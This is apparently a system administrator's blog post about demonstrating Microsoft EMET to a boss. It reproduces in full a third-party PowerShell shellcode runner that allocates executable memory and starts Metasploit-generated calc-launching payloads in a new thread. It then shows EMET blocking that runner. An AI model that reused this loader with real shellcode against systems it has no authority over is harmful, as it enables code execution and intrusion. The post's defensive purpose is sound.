God EMET!, where is my Exploit!

Grumpy Admin, has been working through addressing the issues I discovered in my recent security audit.  This in itself makes me grumpy. Meh, fixing stuff that was caused by other people not thinking.  I expect there some people out there thinking the same about me! Meh! We all have to grow and learn right???

Then them horrible words any employee hates to hear from their boss, “can you justify why you put that line in your report?” He was of course referring to the fact I mentioned that DEP was disabled on a couple of machines and my mitigation advice was to enable and install the Microsoft EMET 5.2 tool kit.

The boss, asked this very Grump Admin why! What could it do, how will it be effective….blah blah blah? So I spent a 10 mins of my ever decreasing life expectancy explaining like a good BOFH the point of the product and how it can be useful in the defence in depth technique of trying to protect our server estate from them nasty hacker guys. How we aren’t rooted and bombarded with porn site pop ups I don’t know!  Maybe System Centre Endpoint Protection works… Ha who am I kidding! Nevermind…

I hate talking till I am a blue as a Smurf without the small remotest chance of getting with Smurfette! So I decide to throw together a very quick proof of concept for him.

I use my laptop as it’s Windows 7 and I know an exploit that will work and will be prevented from working by installing EMET.

http://www.exploit-monday.com/2011/10/exploiting-powershells-features-not.html

I didn’t write this code, it is a bit old but it works on my laptop at the moment, so that is good see the proof that we can execute this shell code via buffer overflow attack!

<#

Powershell Code Execution ‘Exploit’

Author: Matthew Graeber

Disclaimer: This code is provided for academic purposes only and should not be used for evil. You are liable for your own actions.

#>

 # Import required functions

$code = @”

[DllImport(“kernel32.dll”)]

public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

[DllImport(“kernel32.dll”)]

public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

[DllImport(“msvcrt.dll”)]

public static extern IntPtr memset(IntPtr dest, uint src, uint count);

“@

 # Add CSharp code as a class recognized by Powershell

$winFunc = Add-Type -memberDefinition $code -Name “Win32” -namespace Win32Functions -passthru

 # Copy and paste your shellcode here in the form 0xXX.

# 32-bit payload

# msfpayload windows/exec CMD=”cmd /k calc” EXITFUNC=thread

[Byte[]]$sc32 = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x6a,0x01,0x8d,0x85,0xb9,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5,0x63,0x6d,0x64,0x20,0x2f,0x6b,0x20,0x63,0x61,0x6c,0x63,0x00

 # 64-bit payload

# msfpayload windows/x64/exec CMD=”cmd /k calc” EXITFUNC=thread

[Byte[]]$sc64 = 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x6d,0x64,0x20,0x2f,0x6b,0x20,0x63,0x61,0x6c,0x63,0x00

 # Determine if Powershell is running as 32 or 64 bit

[Byte[]]$sc = $sc32

if ([IntPtr]::Size -eq 8) {$sc = $sc64}

 # Calculate correct size param for VirtualAlloc

$size = 0x1000

if ($sc.Length -gt 0x1000) {$size = $sc.Length}

 # Allocate a page of memory. This will only work if the size parameter (3rd param) is at least 0x1000.

# Allocate RWX memory block

$x=$winFunc::VirtualAlloc(0,0×1000,$size,0x40)

# I could have more easily used memcpy but that would have required the use of a particular .NET class to cast $sc as an IntPtr. I wanted to get this working without needing additional .NET classes. I prefer to KISS (keep it simple, stupid).

for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)}

# Execute you payload

$winFunc::CreateThread(0,0,$x,0,0,0)

When you run and execute exploit with the supplied payload you should get calc.exe running…as you can see the exploit works on my Windows 7 Machine.  The exploit is about 4 years old, dated from 2011 and is included in the PowerShell SET hacking tool kit.

So it is common, and I am actually surprised it worked on my laptop. I can confirm that this exploit doesn’t on my Server 2012 R2 servers. I didn’t bother looking for a replacement or a work around. That not the point of this exercise.  The point is to demonstrate the EMET tool kit to the boss!

Please don’t think EMET this will solve all your problems! It is often trivial for people to write exploits that mitigate and bypass EMET and there bragging rights up for grab in the hacking underworld if your exploits defeat this defence method! This just raises the bar a little higher for them to exploit your systems, every step you take, helps reduce the risk right?

So I am going to download and install EMET 5.2 directly from Microsoft, just quickly configure it to protect the Powershell.exe and that should prevent this known exploit from working 🙂 and demonstrate its value to the boss who doesn’t seem to believe what I say!

I am doing a manual install, as ever you can use your own method of deployment, through SCCM or GP. Grumpy Admin, hates it when this can’t be automated but for the purpose of this simple proof of concept a manual install will do just fine! The settings files are via XML so you can push an XML file out via GP or something like that, it worth having a detailed look at this product!

Check out these wonderful images on how to do that! Yawn… It’s effectively a next next next install! I will spare you the write up! Common sense guys!

I now have the EMET tool kit installed so I guess we need to launch it via the icon in the system tray, that always a good start right!

I need to configure the process I want to protect, in this case it is going to PowerShell.exe. Easy, I find the process running in the list what is handily displayed at the bottom of the program, it even comes complete with a refresh button.

I simple highlight the process and right click

Choose the “configure process” option and bing and a boom!!! I can then right click and enable all mitigations available, choose ok and then you will see a green tick next to the process name in the “Running EMET”  column in the Running Process. Again quite handy I think J As we changed the process we need to restart the process for the changes to take place. So I close my Powershell Window and re-launch it!

Then I paste in that exploit, that we previously proved works, and then execute it! And done! EMET has saved the day and prevented the exploit from executing. It even closes the compromised process!

EMET did it’s job and saved the day – Powershell.exe is protected now, and the boss can see with his own eyes the difference EMET can make. It could prevent the us from being the next Sony maybe??? lol

So it worth having a look at EMET and having it in your tool kit to protect you! Even if you don’t deploy or use it, it good to know about. As with most things I recommend fully testing and configuring it on testing and implementation rigs prior to a full role out. But it another free security protect from Microsoft that gives you a little bit more protection and methods of customisation of the inbuilt security features like DEP and ASL

Hazzy